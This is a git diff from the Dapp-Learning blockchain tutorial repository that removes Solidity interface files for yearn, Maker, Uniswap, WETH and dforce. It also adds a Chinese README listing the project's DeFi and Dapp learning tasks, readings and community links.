-    function create_lock(uint256, uint256) external;
-
-    function increase_amount(uint256) external;
-
-    function withdraw() external;
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/dforce/Rewards.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/dforce/Rewards.sol
deleted file mode 100644
index 1c3bfbdb0..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/dforce/Rewards.sol
+++ /dev/null
@@ -1,15 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface dRewards {
-    function withdraw(uint256) external;
-
-    function getReward() external;
-
-    function stake(uint256) external;
-
-    function balanceOf(address) external view returns (uint256);
-
-    function exit() external;
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/dforce/Token.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/dforce/Token.sol
deleted file mode 100644
index a7a2530e8..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/dforce/Token.sol
+++ /dev/null
@@ -1,13 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface dERC20 {
-    function mint(address, uint256) external;
-
-    function redeem(address, uint256) external;
-
-    function getTokenBalance(address) external view returns (uint256);
-
-    function getExchangeRate() external view returns (uint256);
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/maker/Maker.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/maker/Maker.sol
deleted file mode 100644
index 10e290792..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/maker/Maker.sol
+++ /dev/null
@@ -1,180 +0,0 @@
-pragma solidity ^0.5.17;
-
-interface GemLike {
-    function approve(address, uint256) external;
-
-    function transfer(address, uint256) external;
-
-    function transferFrom(
-        address,
-        address,
-        uint256
-    ) external;
-
-    function deposit() external payable;
-
-    function withdraw(uint256) external;
-}
-
-interface ManagerLike {
-    function cdpCan(
-        address,
-        uint256,
-        address
-    ) external view returns (uint256);
-
-    function ilks(uint256) external view returns (bytes32);
-
-    function owns(uint256) external view returns (address);
-
-    function urns(uint256) external view returns (address);
-
-    function vat() external view returns (address);
-
-    function open(bytes32, address) external returns (uint256);
-
-    function give(uint256, address) external;
-
-    function cdpAllow(
-        uint256,
-        address,
-        uint256
-    ) external;
-
-    function urnAllow(address, uint256) external;
-
-    function frob(
-        uint256,
-        int256,
-        int256
-    ) external;
-
-    function flux(
-        uint256,
-        address,
-        uint256
-    ) external;
-
-    function move(
-        uint256,
-        address,
-        uint256
-    ) external;
-
-    function exit(
-        address,
-        uint256,
-        address,
-        uint256
-    ) external;
-
-    function quit(uint256, address) external;
-
-    function enter(address, uint256) external;
-
-    function shift(uint256, uint256) external;
-}
-
-interface VatLike {
-    function can(address, address) external view returns (uint256);
-
-    function ilks(bytes32)
-        external
-        view
-        returns (
-            uint256,
-            uint256,
-            uint256,
-            uint256,
-            uint256
-        );
-
-    function dai(address) external view returns (uint256);
-
-    function urns(bytes32, address) external view returns (uint256, uint256);
-
-    function frob(
-        bytes32,
-        address,
-        address,
-        address,
-        int256,
-        int256
-    ) external;
-
-    function hope(address) external;
-
-    function move(
-        address,
-        address,
-        uint256
-    ) external;
-}
-
-interface GemJoinLike {
-    function dec() external returns (uint256);
-
-    function gem() external returns (GemLike);
-
-    function join(address, uint256) external payable;
-
-    function exit(address, uint256) external;
-}
-
-interface GNTJoinLike {
-    function bags(address) external view returns (address);
-
-    function make(address) external returns (address);
-}
-
-interface DaiJoinLike {
-    function vat() external returns (VatLike);
-
-    function dai() external returns (GemLike);
-
-    function join(address, uint256) external payable;
-
-    function exit(address, uint256) external;
-}
-
-interface HopeLike {
-    function hope(address) external;
-
-    function nope(address) external;
-}
-
-interface EndLike {
-    function fix(bytes32) external view returns (uint256);
-
-    function cash(bytes32, uint256) external;
-
-    function free(bytes32) external;
-
-    function pack(uint256) external;
-
-    function skim(bytes32, address) external;
-}
-
-interface JugLike {
-    function drip(bytes32) external returns (uint256);
-}
-
-interface PotLike {
-    function pie(address) external view returns (uint256);
-
-    function drip() external returns (uint256);
-
-    function join(uint256) external;
-
-    function exit(uint256) external;
-}
-
-interface SpotLike {
-    function ilks(bytes32) external view returns (address, uint256);
-}
-
-interface OSMedianizer {
-    function read() external view returns (uint256, bool);
-
-    function foresight() external view returns (uint256, bool);
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/maker/OracleSecurityModule.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/maker/OracleSecurityModule.sol
deleted file mode 100644
index e8b6c2cc3..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/maker/OracleSecurityModule.sol
+++ /dev/null
@@ -1,9 +0,0 @@
-pragma solidity ^0.5.17;
-
-interface OracleSecurityModule {
-    function peek() external view returns (bytes32, bool);
-
-    function peep() external view returns (bytes32, bool);
-
-    function bud(address) external view returns (uint256);
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/uniswap/Uni.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/uniswap/Uni.sol
deleted file mode 100644
index f644d0a1b..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/uniswap/Uni.sol
+++ /dev/null
@@ -1,13 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface Uni {
-    function swapExactTokensForTokens(
-        uint256,
-        uint256,
-        address[] calldata,
-        address,
-        uint256
-    ) external;
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/weth/WETH.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/weth/WETH.sol
deleted file mode 100644
index 4479cc9d1..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/weth/WETH.sol
+++ /dev/null
@@ -1,10 +0,0 @@
-pragma solidity ^0.5.17;
-
-interface WETH {
-    function deposit() external payable;
-
-    function withdraw(uint256 wad) external;
-
-    event Deposit(address indexed dst, uint256 wad);
-    event Withdrawal(address indexed src, uint256 wad);
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IController.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IController.sol
deleted file mode 100644
index b7c58c07c..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IController.sol
+++ /dev/null
@@ -1,21 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface IController {
-    function withdraw(address, uint256) external;
-
-    function balanceOf(address) external view returns (uint256);
-
-    function earn(address, uint256) external;
-
-    function want(address) external view returns (address);
-
-    function rewards() external view returns (address);
-
-    function vaults(address) external view returns (address);
-
-    function strategies(address) external view returns (address);
-
-    function approvedStrategies(address, address) external view returns (bool);
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IConverter.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IConverter.sol
deleted file mode 100644
index df07978e8..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IConverter.sol
+++ /dev/null
@@ -1,7 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface IConverter {
-    function convert(address) external returns (uint256);
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IDelegatedVault.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IDelegatedVault.sol
deleted file mode 100644
index 5d9bb4406..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IDelegatedVault.sol
+++ /dev/null
@@ -1,17 +0,0 @@
-pragma solidity ^0.5.17;
-
-interface IDelegatedVault {
-    function token() external view returns (address);
-
-    function deposit(uint256) external;
-
-    function depositAll() external;
-
-    function withdraw(uint256) external;
-
-    function withdrawAll() external;
-
-    function getPricePerFullShare() external view returns (uint256);
-
-    function claimInsurance() external;
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IGovernance.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IGovernance.sol
deleted file mode 100644
index f0573cfcf..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IGovernance.sol
+++ /dev/null
@@ -1,19 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface IGovernance {
-    function withdraw(uint256) external;
-
-    function getReward() external;
-
-    function stake(uint256) external;
-
-    function balanceOf(address) external view returns (uint256);
-
-    function exit() external;
-
-    function voteFor(uint256) external;
-
-    function voteAgainst(uint256) external;
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IOneSplitAudit.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IOneSplitAudit.sol
deleted file mode 100644
index daffdd7e4..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IOneSplitAudit.sol
+++ /dev/null
@@ -1,22 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface IOneSplitAudit {
-    function swap(
-        address fromToken,
-        address destToken,
-        uint256 amount,
-        uint256 minReturn,
-        uint256[] calldata distribution,
-        uint256 flags
-    ) external payable returns (uint256 returnAmount);
-
-    function getExpectedReturn(
-        address fromToken,
-        address destToken,
-        uint256 amount,
-        uint256 parts,
-        uint256 flags // See constants in IOneSplit.sol
-    ) external view returns (uint256 returnAmount, uint256[] memory distribution);
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IProxy.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IProxy.sol
deleted file mode 100644
index 5323916a9..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IProxy.sol
+++ /dev/null
@@ -1,13 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface IProxy {
-    function execute(
-        address to,
-        uint256 value,
-        bytes calldata data
-    ) external returns (bool, bytes memory);
-
-    function increaseAmount(uint256) external;
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IStrategy.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IStrategy.sol
deleted file mode 100644
index 4b20a9ffe..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IStrategy.sol
+++ /dev/null
@@ -1,25 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface IStrategy {
-    function want() external view returns (address);
-
-    function deposit() external;
-
-    // NOTE: must exclude any tokens used in the yield
-    // Controller role - withdraw should return to Controller
-    function withdraw(address) external;
-
-    // Controller | Vault role - withdraw should always return to Vault
-    function withdraw(uint256) external;
-
-    function skim() external;
-
-    // Controller | Vault role - withdraw should always return to Vault
-    function withdrawAll() external returns (uint256);
-
-    function balanceOf() external view returns (uint256);
-
-    function withdrawalFee() external view returns (uint256);
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IToken.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IToken.sol
deleted file mode 100644
index c45ca62ed..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IToken.sol
+++ /dev/null
@@ -1,12 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-// NOTE: Basically an alias for Vaults
-interface yERC20 {
-    function deposit(uint256 _amount) external;
-
-    function withdraw(uint256 _amount) external;
-
-    function getPricePerFullShare() external view returns (uint256);
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IVault.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IVault.sol
deleted file mode 100644
index 8376d39bb..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IVault.sol
+++ /dev/null
@@ -1,29 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface IVault {
-    function token() external view returns (address);
-
-    function underlying() external view returns (address);
-
-    function name() external view returns (string memory);
-
-    function symbol() external view returns (string memory);
-
-    function decimals() external view returns (uint8);
-
-    function controller() external view returns (address);
-
-    function governance() external view returns (address);
-
-    function getPricePerFullShare() external view returns (uint256);
-
-    function deposit(uint256) external;
-
-    function depositAll() external;
-
-    function withdraw(uint256) external;
-
-    function withdrawAll() external;
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IVoterProxy.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IVoterProxy.sol
deleted file mode 100644
index 9d9141b88..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IVoterProxy.sol
+++ /dev/null
@@ -1,23 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface IVoterProxy {
-    function withdraw(
-        address _gauge,
-        address _token,
-        uint256 _amount
-    ) external returns (uint256);
-
-    function balanceOf(address _gauge) external view returns (uint256);
-
-    function withdrawAll(address _gauge, address _token) external returns (uint256);
-
-    function deposit(address _gauge, address _token) external;
-
-    function harvest(address _gauge) external;
-
-    function lock() external;
-
-    function claimRewards(address _gauge, address _token) external;
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IWrappedVault.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IWrappedVault.sol
deleted file mode 100644
index 3b7b1c67f..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/yearn/IWrappedVault.sol
+++ /dev/null
@@ -1,19 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface IWrappedVault {
-    function token() external view returns (address);
-
-    function name() external view returns (string memory);
-
-    function symbol() external view returns (string memory);
-
-    function decimals() external view returns (uint8);
-
-    function governance() external view returns (address);
-
-    function vault() external view returns (address);
-
-    function getPricePerFullShare() external view returns (uint256);
-}
diff --git a/Learn-NFT-opensea/readme.md b/Learn-NFT-opensea/readme.md
deleted file mode 100644
index 1a64c0432..000000000
--- a/Learn-NFT-opensea/readme.md
+++ /dev/null
@@ -1,3 +0,0 @@
-[opensea文档](https://docs.opensea.io/docs/1-structuring-your-smart-contract)
-[opensea github](https://github.com/ProjectOpenSea/opensea-creatures)
-[etherscan code](https://etherscan.io/address/0x7be8076f4ea4a4ad08075c2508e481d6c946d12b#code)
\ No newline at end of file
diff --git a/README-CN.md b/README-CN.md
new file mode 100644
index 000000000..8330464ab
--- /dev/null
+++ b/README-CN.md
@@ -0,0 +1,474 @@
+中文 / [English](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/README.md)
+
+<div align="center">
+  <img src="./DappLearning-logo.png" style="margin: 0 auto 40px;" />
+  <!-- <h1>Dapp Learning</h1> -->
+  <h4 align="center">
+    区块链 Dapp 开发教程
+  </h4>
+  <p>通过经典项目一步一步学习区块链 Dapp 开发。</p>
+  <br />
+  <p>
+    <a href="https://github.com/Dapp-Learning-DAO/Dapp-Learning/tree/main/docs/imgs/wechat-group-helper.png"><img alt="Wechat group helper" src="https://img.shields.io/static/v1?&label=&logo=wechat&message=%E5%BE%AE%E4%BF%A1%E4%BA%A4%E6%B5%81%E7%BE%A4&color=brightgreen&logoColor=white"></a>
+    <a href="https://twitter.com/Dapp_Learning"><img alt="Twitter Follow" src="https://img.shields.io/twitter/follow/dapp_learning?style=social"></a>
+    <a href="https://www.youtube.com/c/DappLearning"><img alt="YouTube Channel Subscribers" src="https://img.shields.io/youtube/channel/subscribers/UCdJKZVxO55N3n2BQYXMDAcQ?style=social"></a>
+    <a href="https://discord.gg/cRYNYXqPeR"><img src="https://img.shields.io/discord/907080577096757279?color=5865F2&logo=discord&logoColor=white" alt="Discord server" /></a>
+    <a href="https://t.me/joinchat/48Mp2jy4Yw40MmI1"><img src="https://img.shields.io/badge/telegram-blue?color=blue&logo=telegram&logoColor=white" alt="Telegram group" /></a>
+    <!-- <a href="https://gitcoin.co/grants/3414/dapp-learning-developer-group-1"><img alt="Gitcoin Grants" src="https://img.shields.io/badge/Gitcoin-Grants-yellow"></a> -->
+    <!-- <a href="https://github.com/Dapp-Learning-DAO/Dapp-Learning"><img alt="GitHub contributors" src="https://img.shields.io/github/contributors/Dapp-Learning-DAO/Dapp-Learning"></a> -->
+  </p>
+</div>
+
+## 序 - Preface
+
+本项目适合有一定语言基础的开发者入门区块链 DAPP 开发，由浅到深了解和开发 **DeFi, NFT, DAO, CRYPTO** 项目。
+
+项目愿景是给**初级开发者**一个可执行且最简的区块链 **Dapp** 学习路线图，给**进阶开发者**一个可以交流和协作的平台。
+
+本项目会成立学习小组进行任务分工，然后一起研究主流dapp项目，每周进行技术分享，输出成果会作为视频上传[Youtube](https://www.youtube.com/c/DappLearning/videos)。
+
+项目秉持 [开源大学](https://dapplearning.org/sharing) 的理念，会以DAO治理形式管理此开源项目。本项目受[以太坊基金会](https://esp.ethereum.foundation/en/)赞助，我们会将资金奖励给项目的优秀贡献者。开源项目维护不易，欢迎[gitcoin](https://gitcoin.co/grants/3414/dapp-learning-developer-group-1)捐赠。想跟踪项目最新进展，欢迎关注我们的[推特](https://twitter.com/Dapp_Learning)和[Youtube](https://www.youtube.com/c/DappLearning/videos)。
+项目由来可以阅读[《Dapp-Learning 欢迎您的加入》](https://mp.weixin.qq.com/s/xcH7b4jVIagoVby9Ci6-kA)。
+
+此项目仍在开发中，适合各阶段的开发者加入，欢迎提 PR 来创建更多的教程项目或完善已有的教程项目🤗。项目交流可加入我们的[discord](https://discord.gg/cRYNYXqPeR) 或 [Telegram](https://t.me/joinchat/48Mp2jy4Yw40MmI1)。提交三次PR或者在[分享会](https://dapplearning.org/sharing)安排一次分享即可加入我们开发者群，持续贡献高质量PR可成为PR审核者，并参与决议项目走向。**项目管理细则**请参看[新人如何参与以及项目治理规则](./docs/dao.md)，欢迎理念相同的小伙伴加入。
+
+<details>
+<summary>Official links: </summary>
+
+- [Github](https://github.com/Dapp-Learning-DAO/Dapp-Learning)
+- [Twitter](https://twitter.com/Dapp_Learning)
+- [Discord](https://discord.gg/cRYNYXqPeR)
+- [Telegram](https://t.me/joinchat/48Mp2jy4Yw40MmI1)
+- [Youtube](https://www.youtube.com/channel/UCdJKZVxO55N3n2BQYXMDAcQ)
+- Wechat Official Account: Dapp Learning
+- [Bilibili](https://space.bilibili.com/2145417872)
+- [notion](https://www.notion.so/dapplearning/Dapp-Learning-DAO-a5f7b5e29bb744578f1c1ce99783cf2d)
+- [Sharing Meeting](https://dapplearning.org/sharing)
+- [Gitcoin](https://gitcoin.co/grants/3414/dapp-learning-developer-group-1)
+- [Project Fund Management](https://app.safe.global/matic:0x2A6D09B3b11E5455a37F907f2ec885E0Be704779/balances)
+- [linktr](https://linktr.ee/dapplearning)
+
+</details>
+
+<details>
+<summary>技术栈: </summary>
+
+- `web3.js`
+- `ethers.js (hardhat)`
+- `web3.py (Brownie)`
+- `Java` （可选）
+- `Rust` （可选）
+- `Go` （可选）
+
+</details>
+
+## 项目结构
+
+项目分为 **基础任务** 和 **项目任务** 两部分
+
+- **基础任务**
+  是熟悉和集成区块链开发所必需的基本工具组件(如ERC标准, oracle, graph, ipfs)
+- **项目任务**
+  是研究主流 DeFi, NFT, DAO, CRYPTO 的经典项目让开发者深入真实项目开发，我们会成立学习小组进行任务分工，一起讨论和研究项目源码。
+
+## 准备工作 - Preparatory Work
+
+**基础知识预备**
+
+- 进入正式的 Dapp 开发学习前, 建议新手开发者学习 以太坊 及 Solidity 相关的基本知识。
+  更多资料可参考 [基础知识预备](./docs/basic-knowledge.md) , 供各位新手小伙伴学习参考。
+- 开发者进入web3技能描述大全 https://www.devpill.me/
+
+**开发工具**
+
+- 工欲善其事, 必先利其器。 请先熟悉基本工具的使用。
+  可参考 [开发工具推荐](./docs/develop-tools.md) 查看当下主流的区块链开发工具。
+
+**推荐阅读**
+
+我们整理了区块链相关的经典书籍，帮助各位开发者深入了解当下区块链背后的人文思潮。
+
+- 《[主权个人](https://www.amazon.sg/Sovereign-Individual-Mastering-Transition-Information/dp/0684832720)》（Sovereign Individuals，可观看我们的视频分享[《主权个人》读书交流会](https://www.youtube.com/watch?v=f-Hcd_Mfcxo&t=452s) 以及关注 [不懂经](https://mp.weixin.qq.com/mp/homepage?__biz=MzU4NDQwMTc3MQ==&hid=7&sn=124258360d0a530008a41ea32e7c2bf2&scene=1&devicetype=android-29&version=28000b3b&lang=en&nettype=WIFI&ascene=7&session_us=gh_353f7f41a447&wx_header=1) 公众号阅读）, [中译本下载链接](https://drive.google.com/file/d/1f113cCsSKtH_05S5gJCmoBvqItufH-_j/view?usp=sharing)
+- 《[网络国家](https://thenetworkstate.com/)》 [中译本下载地址](https://nishino.gitbook.io/wang-luo-guo-jia/)
+- 推荐了解奥地利学派，[Hayek生平介绍](https://mp.weixin.qq.com/s/p1UZdt5BAQVJ3kl_CniwKQ)
+- 系列文章：[给区块链爱好者的奥派经济学课](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzU0ODk1MTE1MA==&action=getalbum&album_id=1986143111768489985&scene=173&from_msgid=2247484102&from_itemidx=1&count=3&nolastread=1#wechat_redirect)
+- [《货币未来》](https://weread.qq.com/web/reader/722328e071f5cee17229964) ：你应该了解的货币史
+
+同时欢迎大家添加推荐书籍，请在此文档 [书籍推荐](./docs/books.md) 中录入
+
+**加密课程**
+
+我们会推荐一些国外顶尖大学和以太坊社区的加密课程，帮助开发者系统性的了解区块链和加密货币。
+
+- [MIT Online Course: Blockchain and Money by Prof. Gary Gensler](https://ocw.mit.edu/courses/sloan-school-of-management/15-s12-blockchain-and-money-fall-2018/video-lectures/)
+- [Berkeley Online Course:](https://berkeley-defi.github.io/f21)   [Defi Learning](https://defi-learning.org/)
+- [Standford Online Course: CS 251 Bitcoin and Cryptocurrencies](https://cs251.stanford.edu/syllabus.html)
+
+其他优质的课程也欢迎提 PR 在此文档[加密课程推荐](./docs/crypto-course.md) 中录入。
+我们也成立翻译小组翻译这些公开课程，总结课程笔记，节省小伙伴时间。中文笔记请查看：[MIT课程笔记整理](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzAwNTAxMzMzMA==&action=getalbum&album_id=2241099480056119298#wechat_redirect
+对翻译小组感兴趣小伙伴欢迎加入，请关注我们公众号 Dapp-Learning 联系我们。
+
+## 基础任务 - Basic Tasks
+
+通过以下基础任务，了解开发 Dapp 的基本工具和开发知识。
+DAPP架构请参考文章--[从架构维度看Web2.0与Web3.0应用之别](https://zhuanlan.zhihu.com/p/414635679?utm_source=wechat_session&utm_medium=social&utm_oi=778564687968092160&s_r=0)
+学习并本地运行 前20 个task，可以升级关注**项目任务**。
+欢迎提 PR 来创建更多的教程项目或完善已有的教程项目🤗
+
+⬜ 表示任务未开始
+⌛ 表示任务正在进行中
+✅ 表示任务已完成
+
+01. [deploy contract with web3.js](basic/01-web3js-deploy) ✅
+02. [create transaction with web3.js](basic/02-web3js-transaction) ✅
+03. [call ERC20 contract with web3.js](basic/03-web3js-erc20) ✅
+04. [truffle](basic/04-web3js-truffle) ✅
+05. [call ERC20 contract with ethers.js](basic/05-ethersjs-erc20) ✅
+06. [test contract with waffle and ethers.js](basic/06-ethersjs-waffle) ✅
+07. [hardhat](basic/07-hardhat) ✅
+08. [graph](basic/08-hardhat-graph) ✅
+09. [react（metamask)](basic/09-hardhat-react) ✅
+10. [ERC721+ ERC1155 + ipfs](basic/10-hardhat-ipfs-erc721) ✅
+11. [react + express + hardhat](basic/11-react-express-hardhat) ✅
+12. [Crowdfund](basic/12-token-crowdfund) ✅
+13. [decentralized exchange](basic/13-decentralized-exchange) ✅
+14. [chainlink-api](basic/14-chainlink-price-feed) ✅
+15. [nft-blindbox-chainlink-vrf](basic/15-nft-blindbox-chainlink-vrf) ✅
+16. [nft auction & exchange](basic/16-nft-auction-exchange) ✅
+17. [wallet development](basic/17-etherjs-wallet-develop) ✅
+18. [web3.py](basic/18-web3py) ✅
+19. [brownie](basic/19-brownie) ✅
+20. [flash-loan](basic/20-flash-loan) ✅
+21. [aave-uni-lender](basic/21-aave-uni-loan) ✅
+22. [zk-snarkjs](basic/22-zk-snarkjs) ✅
+23. [ERC865 & ERC875](basic/23-erc865-and-erc875) ✅
+24. [Upgradeable-contract](basic/24-upgradeable-contract) ✅
+25. [multi-sig-wallet](basic/25-multi-sig-wallet) ✅
+26. [Quadratic vote & Gitcoin](basic/26-quadratic-vote%26gitcoin) ✅
+27. [Arbitrum layer2](basic/27-Arbitrum-layer2) ✅
+28. [Optimism layer2](basic/28-optimism-layer2) ✅
+29. [Polygon(matic) layer2](basic/29-Polygon(matic)-layer2) ✅
+30. [zksync layer2](basic/30-zksync-layer2) ✅
+31. [StarkNet](basic/31-starkNet-layer2) ⌛
+32. [chainlink-keeper](basic/32-chainlink-keeper) ✅
+33. [pooltogether](basic/33-pooltogether) ⌛
+34. [subgraph](basic/34-subgraph) ⬜
+35. [duneanalytics & nansen](basic/35-dune-analytics-nansen) ⬜
+36. [zk-rollup](https://github.com/rollupnc/RollupNC) ✅
+37. [Charm.fi](basic/37-charm.fi) ✅
+38. [alloy-Rust](basic/38-alloy-rust) ✅
+39. [Multicall](basic/39-Multicall) ✅
+40. [Flashbots provider with ethers.js](basic/38-Flashbots-and-Eden) ⬜
+41. [Foundry](basic/41-foundry/README.md)
+42. [Merkle-distributor airdrop](basic/42-merkle-distributor-airdrop)  ✅
+43. [Ethereum Virtual Machine Opcodes](basic/43-EVM) ⌛ 
+44. [JavaScript Cryptography](https://blog.sessionstack.com/how-javascript-works-cryptography-how-to-deal-with-man-in-the-middle-mitm-attacks-bf8fc6be546c) ✅
+45. [Ethereum2.0](basic/45-Ethereum2.0) ⌛
+46. [NFT Floor Perps](https://www.paradigm.xyz/2021/08/floor-perps/) ⬜
+47. [TWAMM: Time-Weighted Average Market Maker](https://www.paradigm.xyz/2021/07/twamm/) ⬜
+48. [ZK Voting](basic/48-ZK-Voting) ⌛
+49. [Account Abstraction](basic/49-Account-Abstraction)  ✅
+50. [solidity security](basic/50-solidity-security)  ✅
+51. [sniper](https://github.com/Supercycled/cake_sniper.git) ⬜
+52. [Governace](https://github.com/withtally/safeguard)  ⬜
+53. [Freelancer's Smart Contract](basic/53-freelancer) ✅
+54. [Cryptovoxels](https://zhuanlan.zhihu.com/p/379249411) ⬜
+55. [PBFT](https://medium.com/loom-network-chinese/%E4%BA%86%E8%A7%A3%E5%8C%BA%E5%9D%97%E9%93%BE%E7%9A%84%E5%9F%BA%E6%9C%AC-%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%8B%9C%E5%8D%A0%E5%BA%AD%E5%AE%B9%E9%94%99-byzantine-fault-tolerance-8a1912c311ba) ⬜
+56. [IDO](https://github.com/gnosis/ido-contracts) ⬜
+57. [Orbit model](https://github.com/orbit-love/orbit-model) ⬜
+58. [Snapshot](basic/58-Snapshot/readme.md) ⌛
+59. [wagmi and nextjs](basic/59-wagmi-and-nextjs) ⌛
+60. [Referral Code](https://developers.thundercore.com/docs/referral-contract/) ⬜
+61. [ENS](basic/61-ENS) ✅
+62. [Tenderly](https://dashboard.tenderly.co/explorer)
+63. [HTLC-crosschain](basic/63-htlc-crosschain) ✅
+64. [state channel](https://ethereum.org/en/developers/docs/scaling/state-channels/)  ⬜
+65. [ZK-NFT](https://github.com/kevinz917/zk-NFT)
+66. [Kleros](https://kleros.io/)
+67. [Go-Ethereum Code Analysis](basic/67-Go-Ethereum-Code-Analysis/readme.md)
+68. [Config discord with Collab.land](basic/68-config-discord-with-Collab.land)  ✅
+69. [Decentralized OTC](https://github.com/DOTCPro)
+70. [Arweave file upload with Bundlr Client](basic/70-arweave-file-upload-with-bundlr/README.md)
+71. [NYM](https://myz1237.substack.com/p/nymwhitepaper?r=uaq4w&utm_campaign=post&utm_medium=web&utm_source=) ⬜
+72. [Unlock protocol](https://docs.unlock-protocol.com/unlock/developers/unlock-platform)
+73. [onchainNFT](https://github.com/Park-City-Utah/onChainNFT)
+74. [erc20-meta-token](https://github.com/0xsequence/erc20-meta-token)
+75. [golang-dapp](basic/75-golang-dapp) ✅
+76. [Push Protocol](https://docs.epns.io/developers)
+
+## 项目任务
+
+**准备工作**：
+此部分针对有一定基础开发者，选取主流优质项目进行源码剖析和 code review。
+可采用小组协作方式将项目部署至测试网，以此为基础在dapp learning社区进行分享。大型defi项目新颖且内容庞大，我们建议分工协作方式进行，如一人看白皮书，一人负责前端，一人负责合约，一人负责数据展示。
+开发者可以在开发群里发起项目研究倡议，建立小组，进行协作。
+
+## DeFi 进阶
+
+**建议先阅读DEFI经典书籍:**
+
+- [How to DeFi](https://assets.coingecko.com/books/how-to-defi/How_to_DeFi_Chinese.pdf)
+- [How to DeFi:Advanced](https://nigdaemon.gitbook.io/how-to-defi-advanced-zhogn-wen-b/)
+
+**DEFI学习路线图：**
+
+交易 -> 借贷 ->衍生品
+
+可以参考我们学习小组的学习路线图，配合视频学习更佳：
+
+- 交易： uniV1(task13) -> uniV2 -> uniV3 -> CurveV1 -> CurveV2
+- 借贷： Aave -> Compound -> Liquity -> Euler
+- 衍生品： SNX -> YFI -> Perpetual
+
+1. [UniswapV2](defi/Uniswap-V2/readme.md) ✅
+2. [UniswapV3](defi/Uniswap-V3/readme.md) ✅
+3. [CurveV1](defi/Curve-V1/README.md) ⌛
+4. [CurveV2](defi/Curve-V2/readme.md) ⌛
+5. [Compound](defi/Compound/readme.md) ✅
+6. [Aave](https://docs.aave.com/portal/)  ✅
+7. [Liquity](defi/Liquity/) ⌛
+8. [Euler](defi/Euler/readme.md) ⌛
+9. [SNX](https://github.com/Synthetixio)⌛
+10. [YFI](https://yearn.finance/)⌛
